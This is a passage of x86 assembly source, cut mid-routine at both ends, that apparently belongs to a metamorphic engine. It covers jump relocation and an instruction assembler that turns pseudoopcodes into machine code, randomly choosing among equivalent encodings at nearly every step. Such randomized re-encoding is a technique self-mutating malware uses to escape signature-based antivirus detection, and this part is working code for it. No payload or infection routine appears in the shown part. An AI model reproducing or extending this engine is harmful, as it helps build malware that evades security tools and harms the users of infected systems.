                mov     eax, [esi+4]
                mov     eax, [eax]    ; Get the destiny of the jump
                mov     edx, edi      ; Get the final address of the jump in
                add     edx, 5        ;  EDX
                sub     eax, edx      ; Get the displacement
                mov     ebx, [edi]    ; Get the type of jump
                and     ebx, 0FFh
                cmp     ebx, 7Fh      ; Is it a short jump?
                jbe   @@Short
                cmp     ebx, 0EBh     ; " " " " "?
                jz    @@Short
                mov     [edi+1], eax  ; Set the displacement for long jumps,
     @@Next:    sub     ecx, 8        ; CALLs, etc.
                add     esi, 8        ; Check next
                or      ecx, ecx
                jnz   @@LoopReloc01
                ret
     @@Short:   add     eax, 3        ; Add 3 bytes of displacement (from a
                                      ; length of 5 to a length of 2)
                mov     [edi+1], al   ; Set the displacement
                jmp   @@Next          ; Next jump
AssembleCode    endp

;; This function assembles the instruction under the pointer in ESI to the
;; buffer in EDI.
AssembleInstruction proc
                mov     [esi+0Ch], edi ; Set the new address of assembled code
                mov     eax, [esi]
                and     eax, 0FFh       ; Get the pseudoopcode
                cmp     eax, 4Ch        ; Generic operation?
                ja    @@Assemble_Next00 ; If not, check next possibility
                mov     ebx, eax
                and     ebx, 0F8h
                and     eax, 7                   ; Get the type of operation
                or      eax, eax                 ; OP Reg,Imm?
                jz    @@Assemble_OPRegImm
                cmp     eax, 1                   ; OP Reg,Reg?
                jz    @@Assemble_OPRegReg
                cmp     eax, 2                   ; OP Reg,Mem?
                jz    @@Assemble_OPRegMem
                cmp     eax, 3                   ; OP Mem,Reg?
                jz    @@Assemble_OPMemReg
     @@Assemble_OPMemImm:                        ; OP Mem,Imm
                cmp     ebx, 38h                 ; If it's 38h or below, code
                jbe   @@Assemble_OPMemImm_Normal              ; it normally
                cmp     ebx, 40h                     ; MOV?
                jz    @@Assemble_MOVMemImm
     @@Assemble_TESTMemImm:                          ; TEST 
                xor     ebx, ebx        
                mov     eax, 0F7h                    ; Set the x86 opcode F7
                jmp   @@Assemble_OPMemImm_Normal_00
     @@Assemble_MOVMemImm:
                xor     ebx, ebx                     ; Set the x86 opcode C7
                mov     eax, 0C7h
                jmp   @@Assemble_OPMemImm_Normal_00
     @@Assemble_OPMemImm_Normal:
                mov     eax, [esi+7]                 ; Get the value
                cmp     eax, 7Fh                     ; Look if we can code it
                jbe   @@Assemble_OPMemImm_Normal_Byte ; as sign-extended
                cmp     eax, 0FFFFFF80h
                jae   @@Assemble_OPMemImm_Normal_Byte
     @@Assemble_OPMemImm_Normal_Dword:
                mov     eax, 81h             ; Normal opcode
     @@Assemble_OPMemImm_Normal_00:
                mov     [edi], eax           ; Set the opcode
                add     edi, 1             ; Make the memory address reference
                call    Asm_MakeMemoryAddress ; adding the value in EBX
                mov     eax, [esi+7]       ; Set the value to OP
                mov     [edi], eax
                add     edi, 4             ; Increase the EIP
                ret                        ; Return
     @@Assemble_OPMemImm_Normal_Byte:
                call    RandomBoolean
                or      eax, eax           ; Randomly choose if we code it
                jz    @@Assemble_OPMemImm_Normal_Dword ; as dword or sign-ext.
                mov     eax, 83h           ; Set the opcode 83h
                mov     [edi], eax
                add     edi, 1                ; Construct the memory address
                call    Asm_MakeMemoryAddress ; reference.
                mov     eax, [esi+7]       ; Get the immediate to set
                mov     [edi], eax
                add     edi, 1             ; Set only a byte
                ret                        ; Return


     @@Assemble_OPRegImm:
                cmp     ebx, 38h           ; If it's a normal OP, jump
                jbe   @@Assemble_OPRegImm_Normal
                cmp     ebx, 40h                     ; MOV?
                jz    @@Assemble_MOVRegImm
     @@Assemble_TESTRegImm:                          ; TEST
                mov     eax, [esi+1]                 ; Get the register
                and     eax, 7
                or      eax, eax              ; If Reg=EAX, we can code it
                jnz   @@Assemble_TESTRegImm_NotEAX   ; with its own opcode,
                call    RandomBoolean         ; so select randomly if we do it
                or      eax, eax
                jz    @@Assemble_TESTRegImm_NotEAX ; Jump if we don't do it
                mov     eax, 0A9h             ; Set TEST EAX,xxx
                jmp   @@Assemble_OPRegImm_OneByteOpcode
     @@Assemble_TESTRegImm_NotEAX:
                mov     eax, 0F7h             ; Set TEST Reg,xxx
                xor     ebx, ebx
                jmp   @@Assemble_OPRegImm_Normal_01

                                              ; MOV
     @@Assemble_MOVRegImm:
                call    RandomBoolean         ; Get a random TRUE or FALSE
                or      eax, eax              ; If FALSE, code it with a one
                jz    @@Assemble_MOVRegImm_OneByteOpcode ; byte opcode
                mov     eax, 0C7h             ; Get the two bytes opcode
                xor     ebx, ebx
                jmp   @@Assemble_OPRegImm_Normal_01
     @@Assemble_MOVRegImm_OneByteOpcode:
                mov     eax, [esi+1]          ; Get the register
                add     eax, 0B8h             ; Add B8h to it to get the MOV
                jmp   @@Assemble_OPRegImm_OneByteOpcode ; Jump to finish
     @@Assemble_OPRegImm_Normal:
                mov     eax, [esi+1]          ; Get the register
                and     eax, 7                ; Is it EAX?
                or      eax, eax
                jnz   @@Assemble_OPRegImm_Normal_00 ; If it isn't jump
                call    RandomBoolean         ; Select randomly to code a
                or      eax, eax              ; exclusive EAX opcode or not
                jz    @@Assemble_OPRegImm_Normal_00 ; If not, jump
                mov     eax, ebx              ; Add 5 to the generic opcode
                add     eax, 5                ; to get an OP EAX,xxx
     @@Assemble_OPRegImm_OneByteOpcode:
                mov     [edi], eax            ; Store the opcode
                mov     eax, [esi+7]
                mov     [edi+1], eax          ; Store the immediate
                add     edi, 5
                ret

     @@Assemble_OPRegImm_Normal_00:        ; 81h = normal OP Reg,Imm opcode
                mov     eax, 81h
     @@Assemble_OPRegImm_Normal_01:
                mov     [edi], eax                 ; Set the opcode
                mov     eax, [esi+1]               ; Set the "use register"
                and     eax, 7                     ; flag (the bits 7&6 on
                add     eax, 0C0h                  ; the second opcode set to
                add     eax, ebx                   ; 1)
                mov     [edi+1], eax
                mov     eax, [esi+7]        ; Get the immediate and set it
                mov     [edi+2], eax
                add     edi, 6              ; Add the length of the just coded
                ret                         ; instruction to the EIP

     @@Assemble_OPRegReg:                   ; Check if the operation is normal
                cmp     ebx, 38h
                jbe   @@Assemble_OPRegReg_Normal ; If it is, jump
                cmp     ebx, 40h                      ; MOV?
                jz    @@Assemble_MOVRegReg
     @@Assemble_TESTRegReg:                           ; TEST
                mov     ebx, 85h                  ; Opcode of TEST
     @@Assemble_TEST8RegReg_00:
                call    RandomBoolean   ; Select randomly if we use the normal
                or      eax, eax        ; opcode or the inversed one
                jz    @@Assemble_OPRegReg_NextFF
                jmp   @@Assemble_OPRegReg_Inversed_2

     @@Assemble_MOVRegReg:
                mov     ebx, 88h        ; MOV opcode
     @@Assemble_OPRegReg_Normal:
                add     ebx, 1          ; Set 32 bits
     @@Assemble_OP8RegReg_Normal:
                call    RandomBoolean   ; Select if we inverse it
                or      eax, eax
                jz    @@Assemble_OPRegReg_Inversed
     @@Assemble_OPRegReg_NextFF:
                mov     ecx, [esi+1]    ; Get in ECX the source
                mov     edx, [esi+7]    ; Get in EDX the destiny
                jmp   @@Assemble_OPRegReg_Next00 ; Jump to complete
     @@Assemble_OPRegReg_Inversed:
                add     ebx, 2          ; If inversed, add 2 to the opcode
     @@Assemble_OPRegReg_Inversed_2:
                mov     ecx, [esi+7]    ; Get in ECX the destiny
                mov     edx, [esi+1]    ; Get in EDX the source
     @@Assemble_OPRegReg_Next00:
                mov     [edi], ebx      ; Set the opcode
                mov     eax, ecx        ; Set ECX in bits 5,4,3 and EDX in
                shl     eax, 3          ;  bits 2,1,0
                add     eax, 0C0h       ; Activate bits 7&6 to use bits 2,1,0
                add     eax, edx        ;  as a register rather than as a
                mov     [edi+1], eax    ;  memory operand.
                add     edi, 2          ; Store it and increment the EIP
                ret

     @@Assemble_OPRegMem:
                cmp     ebx, 38h                   ; Normal operation?
                jbe   @@Assemble_OPRegMem_Normal   ; Then jump
                cmp     ebx, 40h                   ; MOV?
                jz    @@Assemble_MOVRegMem         ; Then jump
     @@Assemble_TESTRegMem:                      ; TEST
                mov     ebx, 85h                 ; Set the opcode
                jmp   @@Assemble_OPRegMem_Normal_00
     @@Assemble_MOVRegMem:
                mov     ebx, 88h     ; +3 = 8Bh
     @@Assemble_OPRegMem_Normal:
                add     ebx, 3
     @@Assemble_OPRegMem_Normal_00:
                mov     [edi], ebx         ; Set the opcode
                add     edi, 1
                mov     ebx, [esi+7]       ; Get the register
                and     ebx, 7             ; Mix it with the memory address
                shl     ebx, 3             ;  opcode data
                call    Asm_MakeMemoryAddress  ; Construct the mem. reference
                ret

     @@Assemble_OPMemReg:
                cmp     ebx, 38h           ; Generic operation?
                jbe   @@Assemble_OPMemReg_Normal
                cmp     ebx, 40h            ; MOV?
                jnz   @@Assemble_TESTRegMem ; Jump if it's TEST
     @@Assemble_MOVMemReg:
                mov     ebx, 88h           ; Set MOV opcode (+1 = 32 bits op.)
                ;jmp   @@Assemble_OPRegMem_Normal_00
     @@Assemble_OPMemReg_Normal:
                add     ebx, 1
                jmp   @@Assemble_OPRegMem_Normal_00

;;;-------------------------------------------------

   ; Assembly of INC/DEC Reg
     @@Assemble_INCDECReg:
                call    RandomBoolean      ; Select one codification or other
                or      eax, eax           ; If EAX=0, use INC/DEC Mem opcode
                jz    @@Assemble_INCDECReg_2   ; forced to register usage
       @@Assemble_INCDECReg_1:
                mov     eax, [esi+7]       ; Get the operation (0=INC, 8=DEC)
                add     eax, 40h           ; Make it 40h/48h (x86 opcode)
       @@Assemble_INCDECReg_Common:
                add     eax, [esi+1]       ; Bind the register to the opcode
                mov     [edi], eax         ; and write it
                add     edi, 1
                ret
       @@Assemble_INCDECReg_2:
                mov     eax, 0FFh         ; INC/DEC/etc. Mem32 extended opcode
       @@Assemble_INCDECReg_2_8b:
                mov     [edi], eax        ; Write it
                add     edi, 1
                mov     eax, [esi+7]      ; Get the operation (0 or 8)
                add     eax, 0C0h         ; Force it to use registers
                jmp   @@Assemble_INCDECReg_Common ; Jump to complete it
     @@Assemble_INCDECReg_8b:
                mov     eax, 0FEh          ; INC/DEC/PUSH/etc. Mem8 opcode
                jmp   @@Assemble_INCDECReg_2_8b

     @@Assemble_INCDECMem:
                mov     eax, 0FFh    ; FF = Extended opcode for INC, DEC, etc.
     @@Assemble_INCDECMem_2_8b:      ; (32 bits)
                mov     [edi], eax    ; Set the opcode
                add     edi, 1
                mov     ebx, [esi+7]  ; Get the operation and bind it to the
                call    Asm_MakeMemoryAddress ; memory operand codification
                ret                           ; (in 2nd opcode)
     @@Assemble_INCDECMem_8b:
                mov     eax, 0FEh    ; INC/DEC/PUSH/etc. opcode for 8 bits
                jmp   @@Assemble_INCDECMem_2_8b


     @@Assemble_Next00:
                cmp     eax, 4Eh       ; INC/DEC Reg32 pseudoopcode?
                jz    @@Assemble_INCDECReg
                cmp     eax, 4Eh+80h   ; INC/DEC Reg8 pseudoopcode?
                jz    @@Assemble_INCDECReg_8b
                cmp     eax, 4Fh       ; INC/DEC Mem32 pseudoopcode?
                jz    @@Assemble_INCDECMem
                cmp     eax, 4Fh+80h   ; INC/DEC Mem8 pseudoopcode?
                jz    @@Assemble_INCDECMem_8b


     @@Assemble_Next00_:               ; Generic 8 bits opcodes 
                cmp     eax, 00h+80h
                jb    @@Assemble_Next01
                cmp     eax, 4Ch+80h
                ja    @@Assemble_Next01
                mov     ebx, eax       ; Get the type of operation
                and     ebx, 78h
                and     eax, 7
                or      eax, eax              ; OP Reg,Imm?
                jz    @@Assemble_OP8RegImm
                cmp     eax, 1                ; OP Reg,Reg?
                jz    @@Assemble_OP8RegReg
                cmp     eax, 2                ; OP Reg,Mem?
                jz    @@Assemble_OP8RegMem
                cmp     eax, 3                ; OP Mem,Reg?
                jz    @@Assemble_OP8MemReg
     @@Assemble_OP8MemImm:                    ; OP Mem,Imm
                cmp     ebx, 38h
                jbe   @@Assemble_OP8MemImm_Normal ; Jump if it's not MOV/TEST
                cmp     ebx, 40h                  ; MOV?
                jz    @@Assemble_MOV8MemImm    
     @@Assemble_TEST8MemImm:                  ; TEST
                xor     ebx, ebx
                mov     eax, 0F6h             ; x86 TEST Mem8,Imm opcode
                call  @@Assemble_OPMemImm_Normal_00  ; Assemble it
                sub     edi, 3                ; Subtract 3 because it added
                ret                           ; DWORD length, not byte length
     @@Assemble_MOV8MemImm:
                xor     ebx, ebx           ; The same as with TEST, but with
                mov     eax, 0C6h          ; the opcode 0C6h
                call  @@Assemble_OPMemImm_Normal_00
                sub     edi, 3
                ret
     @@Assemble_OP8MemImm_Normal:
                call    Random             ; Select randomly 80h or 82h (for
                and     eax, 2             ; 8 bits both are the same)
                add     eax, 80h
                call  @@Assemble_OPMemImm_Normal_00
                sub     edi, 3
                ret

     @@Assemble_OP8RegImm:
                cmp     ebx, 38h           ; Jump if not MOV/TEST
                jbe   @@Assemble_OP8RegImm_Normal
                cmp     ebx, 40h                 ; MOV?
                jz    @@Assemble_MOV8RegImm
     @@Assemble_TEST8RegImm:                     ; Let's code TEST
                mov     eax, [esi+1]             ; Get the register in EAX
                and     eax, 7
                or      eax, eax                 ; If Reg == AL, we can use
                jnz   @@Assemble_TEST8RegImm_NotEAX ; the specific opcode for
                call    RandomBoolean               ; AL register: A8h
                or      eax, eax
                jz    @@Assemble_TEST8RegImm_NotEAX
                mov     eax, 0A8h
                call  @@Assemble_OPRegImm_OneByteOpcode
                sub     edi, 3
                ret
     @@Assemble_TEST8RegImm_NotEAX:              ; If it's not AL, then we
                mov     eax, 0F6h                ; use the normal opcode: F6
                xor     ebx, ebx                 ; (the same as with TEST Reg,
                call  @@Assemble_OPRegImm_Normal_01   ; Mem but with the
                sub     edi, 3                   ; register usage activated.
                ret
     @@Assemble_MOV8RegImm:
                call    RandomBoolean            ; If MOV, we can use the
                or      eax, eax                 ; normal, one-byte opcode
                jz    @@Assemble_MOV8RegImm_OneByteOpcode ; or the opcode used
                mov     eax, 0C6h                ; for MOV Mem,Imm but with
                xor     ebx, ebx                 ; register usage active.
                call  @@Assemble_OPRegImm_Normal_01
                sub     edi, 3
                ret
     @@Assemble_MOV8RegImm_OneByteOpcode:
                mov     eax, [esi+1]
                add     eax, 0B0h                ; MOV Reg8,Imm
                call  @@Assemble_OPRegImm_OneByteOpcode
                sub     edi, 3
                ret
     @@Assemble_OP8RegImm_Normal:
                mov     eax, [esi+1]             ; If the register is AL, we
                and     eax, 7                   ; can use the AL exclusive
                or      eax, eax                 ; opcode
                jnz   @@Assemble_OP8RegImm_Normal_00
                call    RandomBoolean            ; Do we use it?
                or      eax, eax
                jz    @@Assemble_OP8RegImm_Normal_00 ; If no, jump
                mov     eax, ebx                 ; Get the opcode
                add     eax, 4                   ; Add 4 to the opcode to make
                call  @@Assemble_OPRegImm_OneByteOpcode ; it "OP AL,x"
                sub     edi, 3
                ret
     @@Assemble_OP8RegImm_Normal_00:
                call    Random            ; The same as with OP Reg,Imm: both
                and     eax, 2            ; 80h and 82h opcodes are valid for
                add     eax, 80h          ; these instructions.
                call  @@Assemble_OPRegImm_Normal_01
                sub     edi, 3
                ret

     @@Assemble_OP8RegReg:
                cmp     ebx, 38h          ; Jump if it's not MOV/TEST
                jbe   @@Assemble_OP8RegReg_Normal
                cmp     ebx, 40h
                jz    @@Assemble_MOV8RegReg
     @@Assemble_TEST8RegReg:              ; TEST?
                mov     ebx, 84h          ; Then use TEST opcode
                jmp   @@Assemble_TEST8RegReg_00
     @@Assemble_MOV8RegReg:
                mov     ebx, 88h          ; Use MOV opcode
                jmp   @@Assemble_OP8RegReg_Normal


     @@Assemble_OP8RegMem:
                cmp     ebx, 38h          ; As always...
                jbe   @@Assemble_OP8RegMem_Normal
                cmp     ebx, 40h
                jz    @@Assemble_MOV8RegMem
     @@Assemble_TEST8RegMem:
                mov     ebx, 84h          ; TEST opcode
                jmp   @@Assemble_OPRegMem_Normal_00
     @@Assemble_MOV8RegMem:
                mov     ebx, 88h          ; MOV opcode
     @@Assemble_OP8RegMem_Normal:
                add     ebx, 2
                jmp   @@Assemble_OPRegMem_Normal_00


     @@Assemble_OP8MemReg:
                cmp     ebx, 38h          ; Again...
                jbe   @@Assemble_OPRegMem_Normal_00
                cmp     ebx, 40h          ; TEST Reg,Mem = TEST Mem,Reg
                jnz   @@Assemble_TEST8RegMem
     @@Assemble_MOV8MemReg:
                mov     ebx, 88h          ; MOV opcode
                jmp   @@Assemble_OPRegMem_Normal_00


;;;-------------------------------------------------
     @@Assemble_Next01:
                cmp     eax, 50h          ; PUSH pseudoopcode?
                jnz   @@Assemble_Next02
                call    RandomBoolean     ; Select if we use the specific
                or      eax, eax          ; register opcode or the memory
                jz    @@Assemble_PUSHReg_2 ; opcode set up to use registers
     @@Assemble_PUSHReg_1:
                mov     eax, [esi]        ; Get the opcode (50h or 58h)
                and     eax, 0FFh
                mov     ebx, [esi+1]      ; Bind the register
                add     eax, ebx
     @@Assemble_StoreByte:
                mov     [edi], eax        ; Store the one-byte opcode
                add     edi, 1
                ret
     @@Assemble_PUSHReg_2:
                mov     eax, 0FFh         ; Two bytes opcode for PUSH Reg is
                mov     [edi], eax        ; FF,(F0 + Reg)
                mov     eax, [esi+1]
                add     eax, 0F0h
                mov     [edi+1], eax
                add     edi, 2
                ret

     @@Assemble_Next02:
                cmp     eax, 58h          ; POP Reg?
                jnz   @@Assemble_Next03
                call    RandomBoolean     ; Select one-byte or two-bytes opc.
                or      eax, eax
                jz    @@Assemble_PUSHReg_1  ; POP Reg (one byte opcode)
     @@Assemble_POPReg_2:
                mov     eax, 8Fh          ; Two bytes POP Reg opcode is
                mov     [edi], eax        ; 8F,(C0 + Reg)
                mov     eax, [esi+1]
                add     eax, 0C0h
                mov     [edi+1], eax
                add     edi, 2
                ret

     @@Assemble_Next03:
                cmp     eax, 51h          ; PUSH Mem?
                jnz   @@Assemble_Next04
                mov     eax, 0FFh         ; Opcode is FF,(30+mem codification)
                mov     ebx, 30h
     @@Assemble_POPMem:
                mov     [edi], eax        ; Set opcode (FF or 8F)
                add     edi, 1
                call    Asm_MakeMemoryAddress ; Code the memory reference
                ret

     @@Assemble_Next04:
                cmp     eax, 59h          ; POP Mem?
                jnz   @@Assemble_Next05
                mov     eax, 8Fh          ; Opcode is 8F,(00+mem codification)
                xor     ebx, ebx
                jmp   @@Assemble_POPMem


     @@Assemble_Next05:
                cmp     eax, 68h          ; PUSH Imm?
                jnz   @@Assemble_Next06
                mov     [edi], eax        ; Set opcode 68h
                mov     eax, [esi+7]      ; Get the Imm to push
                cmp     eax, 7Fh
                jbe   @@Assemble_PUSHImm_Byte  ; Check if we can use the
                cmp     eax, 0FFFFFF80h        ; PUSH signed-Imm opcode
                jae   @@Assemble_PUSHImm_Byte
     @@Assemble_PUSHImm_Dword:
                mov     [edi+1], eax     ; Store the Imm
                add     edi, 5           ; Increase the storage EIP
                ret
     @@Assemble_PUSHImm_Byte:
                push    eax              ; Select randomly if we use a sign
                call    RandomBoolean    ; extended byte Imm or a dword Imm
                mov     ebx, eax
                pop     eax
                or      ebx, ebx
                jz    @@Assemble_PUSHImm_Dword
                mov     ebx, 6Ah         ; Insert the opcode
                mov     [edi], ebx
                mov     [edi+1], eax     ; Put the value
                add     edi, 2
                ret

     @@Assemble_Next06:
                cmp     eax, 0E0h        ; NOT?
                jnz   @@Assemble_Next07
                mov     ebx, 0D0h        ; EBX = NOT operation under F7 opcode
     @@Assemble_NEG32Reg:
                mov     eax, 0F7h        ; F7 = opcode of NOT/NEG and etc.
     @@Assemble_Nxx8Reg:
                mov     [edi], eax       ; Set the first opcode
                mov     eax, [esi+1]
                add     eax, ebx         ; Bind the register to the 2nd opcd.
                mov     [edi+1], eax     ; Store it
                add     edi, 2
                ret

     @@Assemble_Next07:
                cmp     eax, 0E4h        ; NEG Reg?
                jnz   @@Assemble_Next08
                mov     ebx, 0D8h        ; Set NEG Reg operation on 2nd opc.
                jmp   @@Assemble_NEG32Reg

     @@Assemble_Next08:
                cmp     eax, 0E2h        ; NOT Reg8?
                jnz   @@Assemble_Next09
                mov     ebx, 0D0h        ; Set NOT Reg operation on 2nd opcode
     @@Assemble_NEG8Reg:
                mov     eax, 0F6h        ; Same as F7 but with 8 bits operands
                jmp   @@Assemble_Nxx8Reg

     @@Assemble_Next09:
                cmp     eax, 0E6h        ; NEG Reg8?
                jnz   @@Assemble_Next10
                mov     ebx, 0D8h        ; Set NEG Reg op. on 2nd opcode
                jmp   @@Assemble_NEG8Reg


     @@Assemble_Next10:
                cmp     eax, 0E1h        ; NOT Mem?
                jnz   @@Assemble_Next11
                mov     ebx, 10h         ; Then set NOT Mem op. on 2nd opcode
     @@Assemble_NEG32Mem:
                mov     eax, 0F7h        ; Set NOT/NEG/etc. opcode (32 bits)
     @@Assemble_Nxx8Mem:
                mov     [edi], eax       ; Set the first opcode
                add     edi, 1
                call    Asm_MakeMemoryAddress ; Construct the memory reference
                ret                       ; (mixing it with the value in EBX)

     @@Assemble_Next11:
                cmp     eax, 0E5h        ; NEG Mem?
                jnz   @@Assemble_Next12
                mov     ebx, 18h         ; Then set NEG Mem on 2nd opcode and
                jmp   @@Assemble_NEG32Mem ; jump to construct the operation

     @@Assemble_Next12:
                cmp     eax, 0E3h        ; NOT Mem8?
                jnz   @@Assemble_Next13
                mov     ebx, 10h         ; Set NOT Mem8 op.
     @@Assemble_NEG8Mem:
                mov     eax, 0F6h        ; Use 8 bits opcode for NOT/NEG
                jmp   @@Assemble_Nxx8Mem

     @@Assemble_Next13:
                cmp     eax, 0E7h        ; NEG Mem8?
                jnz   @@Assemble_Next14
                mov     ebx, 18h         ; Then set NEG Mem8 op. on 2nd opc.
                jmp   @@Assemble_NEG8Mem ;  and jump to construct the instrc.

     @@Assemble_Next14:
                cmp     eax, 0EAh        ; CALL Mem?
                jnz   @@Assemble_Next15
                mov     eax, 0FFh        ; Set the opcode: FF,(10+mem. ref)
                mov     ebx, 10h
                jmp   @@Assemble_Nxx8Mem ; Code mem address

     @@Assemble_Next15:
                cmp     eax, 0EBh        ; JMP Mem?
                jnz   @@Assemble_Next16
                mov     eax, 0FFh        ; Then set the opcode:
                mov     ebx, 20h         ;  FF,(20+mem ref.)
                jmp   @@Assemble_Nxx8Mem

     @@Assemble_Next16:
                cmp     eax, 0ECh        ; CALL Reg?
                jnz   @@Assemble_Next17
                mov     eax, 0FFh        ; Then use the same opcode than
                mov     ebx, 0D0h        ; CALL Mem but ORing the 2nd opcode
                jmp   @@Assemble_Nxx8Reg ; with C0 (bits 7&6 active), so we
                                        ; tell the processor to use bits 2,1,0
                                        ; as a direct register rather than as
                                        ; a memory address codification
     @@Assemble_Next17:
                cmp     eax, 0EDh       ; JMP Reg?
                jnz   @@Assemble_Next18
                mov     eax, 0FFh       ; Then, the same as above but with
                mov     ebx, 0E0h       ; 2nd opcode = 20h OR C0h
                jmp   @@Assemble_Nxx8Reg


     @@Assemble_Next18:
                cmp     eax, 0F0h       ; SHIFT Reg operation?
                jnz   @@Assemble_Next19
                mov     eax, [esi+7]    ; Get the value
                and     eax, 0FFh
                cmp     eax, 1          ; If it's 1, we can use SHIFT,1 ops.
                jz    @@Assemble_SHIFT_1
     @@Assemble_SHIFT_2:
                mov     ecx, 0C1h       ; Use opcode C1 and a mask of E0 to
                mov     edx, 0E0h       ; get random upper bits in the shift
     @@Assemble_SHIFT8_1_00:            ; value
                call  @@Assemble_SHIFT_x ; Set the opcode and the operation
                mov     ebx, [esi+7]    ; Get the value
                and     ebx, 0FFh
                call    Random          ; Get a random number
                and     eax, edx        ; Mask it with EDX (00 or E0)
                add     eax, ebx        ; Add the value to shift
                mov     [edi], eax      ; Set the Imm in the instruction
                add     edi, 1
                ret                     ; Return
     @@Assemble_SHIFT_1:
                call    RandomBoolean   ; Select randomly if we use the ,1
                or      eax, eax        ; opcode or the ,x one
                jz    @@Assemble_SHIFT_2
                mov     ecx, 0D1h       ; Opcode D1: SHIFT Mem/Reg,1
     @@Assemble_SHIFT_x:
                mov     [edi], ecx      ; Set the opcode in ECX
                add     edi, 1
                mov     ebx, [esi+8]    ; Get the operation
                and     ebx, 8          ; Reduce it to SHIFT LEFT/RIGHT
                add     ebx, 0C0h       ; Select randomly SHL/ROL or SHR/ROR.
                call    Random          ; We have prepared the shifting instr.
                and     eax, 20h        ; in the engine to support either SHx
                add     ebx, eax        ; or ROx indifferently
                mov     eax, [esi+1]    ; Get the register
                and     eax, 7
                add     eax, ebx        ; Set it into the opcode
                mov     [edi], eax      ; Insert the opcode
                add     edi, 1
                ret

     @@Assemble_Next19:
                cmp     eax, 0F2h       ; SHIFT Reg8?
                jnz   @@Assemble_Next20
                mov     eax, [esi+7]    ; Get the value
                and     eax, 0FFh       ; Check if it's 1 to see if we can
                cmp     eax, 1          ; use the ,1 opcode
                jz    @@Assemble_SHIFT8_1
     @@Assemble_SHIFT8_2:
                mov     ecx, 0C0h       ; Set 1st opcode as C0
                xor     edx, edx        ; Mask with 00 the upper bits of the
                jmp   @@Assemble_SHIFT8_1_00 ; shifting value
     @@Assemble_SHIFT8_1:
                call    RandomBoolean   ; Select randomly the using of ,1/,x
                or      eax, eax
                jz    @@Assemble_SHIFT8_2
                mov     ecx, 0D0h       ; Set 1st opcode as D0
                jmp   @@Assemble_SHIFT_x ; Jump to complete the opcode


     @@Assemble_Next20:
                cmp     eax, 0F1h       ; SHIFT Mem?
                jnz   @@Assemble_Next21
                mov     eax, [esi+7]
                and     eax, 0FFh       ; Check the value to look if we can
                cmp     eax, 1          ; use ,1 or ,x
                jz    @@Assemble_SHIFTMem_1
     @@Assemble_SHIFTMem_2:
                mov     ecx, 0C1h       ; Opcode C1, mask E0
                mov     edx, 0E0h
     @@Assemble_SHIFT8Mem_1_00:
                push    edx             ; Make the opcode
                call  @@Assemble_SHIFTMem_x
                pop     edx             ; Set the value with random upper
                mov     ebx, [esi+7]    ; bits for 32 bits shiftings (mask of
                and     ebx, 0FFh       ; E0) or upper bits to 0 if 8 bits
                call    Random          ; mask of 00)
                and     eax, edx
                add     eax, ebx
                mov     [edi], eax
                add     edi, 1
                ret
     @@Assemble_SHIFTMem_1:
                call    Random          ; Do we use the ,x opcode?
                or      eax, eax
                jz    @@Assemble_SHIFTMem_2 ; Jump if we decided to use it!
                mov     ecx, 0D1h       ; Set D1 opcode
     @@Assemble_SHIFTMem_x:
                mov     [edi], ecx      ; Set the opcode
                add     edi, 1
                mov     ebx, [esi+8]    ; Get the direction of the shift
                and     ebx, 8
                call    Random
                and     eax, 20h        ; Select SHx or ROx
                add     ebx, eax        ; Set it in EBX to mix it with the
                call    Asm_MakeMemoryAddress ; 2nd opcode and code the
                ret                           ; memory address in the 2nd opc.

     @@Assemble_Next21:
                cmp     eax, 0F3h       ; SHIFT Mem8?
                jnz   @@Assemble_Next22
                mov     eax, [esi+7]    ; Just the same as above but with
                and     eax, 0FFh       ; opcodes C0 and D0 instead of C1 and
                cmp     eax, 1          ; D1. And, of course, a mask of 00,
                jz    @@Assemble_SHIFT8Mem_1 ; because the 8 bits shiftings
     @@Assemble_SHIFT8Mem_2:                 ; don't ignore the upper bits
                mov     ecx, 0C0h            ; as the 32 bits instructions do
                xor     edx, edx             ; (don't ask me why)
                jmp   @@Assemble_SHIFT8Mem_1_00
     @@Assemble_SHIFT8Mem_1:
                call    RandomBoolean
                or      eax, eax
                jz    @@Assemble_SHIFT8Mem_2
                mov     ecx, 0D0h
                jmp   @@Assemble_SHIFTMem_x

     @@Assemble_Next22:
                cmp     eax, 0FCh       ; LEA Reg,[Mem]?
                jnz   @@Assemble_Next23
                mov     eax, 8Dh        ; Then, insert a LEA opcode (8D), set
                mov     [edi], eax      ; in bits 5,4,3 the destiny register
                add     edi, 1          ; and code the memory address.
                mov     ebx, [esi+7]
                and     ebx, 7
                shl     ebx, 3
                call    Asm_MakeMemoryAddress
                ret

     @@Assemble_Next23:
                cmp     eax, 0FDh       ; Direct byte insertion?
                jnz   @@Assemble_Next24
                mov     eax, [esi+1]    ; Then, insert it
                jmp   @@Assemble_StoreByte

     @@Assemble_Next24:
                cmp     eax, 0FEh       ; RET?
                jnz   @@Assemble_Next25
                mov     eax, 0C3h       ; Then, insert the RET opcode
                jmp   @@Assemble_StoreByte

     @@Assemble_Next25:
                cmp     eax, 0FFh       ; NOP?
                jnz   @@Assemble_Next26
                mov     eax, 90h        ; Then, insert the NOP opcode
                jmp   @@Assemble_StoreByte

     @@Assemble_Next26:
                cmp     eax, 70h        ; Jcc?
                jb    @@Assemble_Next27
                cmp     eax, 7Fh
                ja    @@Assemble_Next27
                mov     eax, [esi+7]    ; Get the type of jump: normal or
                or      eax, eax        ;  inversed (JNZ/JMP rather than JZ)
                jz    @@Assemble_Jump_Normal
                mov     eax, [esi]      ; Inverse the condition
                xor     eax, 1
                mov     [edi], eax      ; Store the opcode
                add     edi, 1          ; Increase the EIP
                push    edi             ; Save the EIP
                add     edi, 1
                mov     eax, 0E9h       ; Make a JMP to the label
                mov     [esi], al
                call  @@Assemble_Jump_Normal
                pop     ebx             ; Get the old EIP in EBX
                mov     eax, edi        ; Get the current EIP
                sub     eax, ebx        ; Calculate the displacement in EAX
                sub     eax, 1          ; Add 1 to overpass the Jcc itself
                mov     [ebx], al       ; Store the displacement
                ret


     @@Assemble_Next27:
                cmp     eax, 0F8h       ; MOVZX Reg,[Mem8]?
                jnz   @@Assemble_Next28
                mov     eax, 0B60Fh     ; Set the MOVZX opcode
                mov     [edi], eax
                add     edi, 2
                mov     ebx, [esi+7]    ; Get the register and bind it to the
                and     ebx, 7          ; memory address codification in the
                shl     ebx, 3          ; 2nd opcode
                call    Asm_MakeMemoryAddress
                ret

     @@Assemble_Next28:
               ; cmp     eax, 0E8h       ; Here only can be opcodes E8 or E9
               ; jmp   @@Assemble_Jump_Normal


     @@Assemble_Jump_Normal:
                mov     ebx, [esi+1]    ; Get the label
                mov     eax, [ebx+4]    ; Get the pointed address
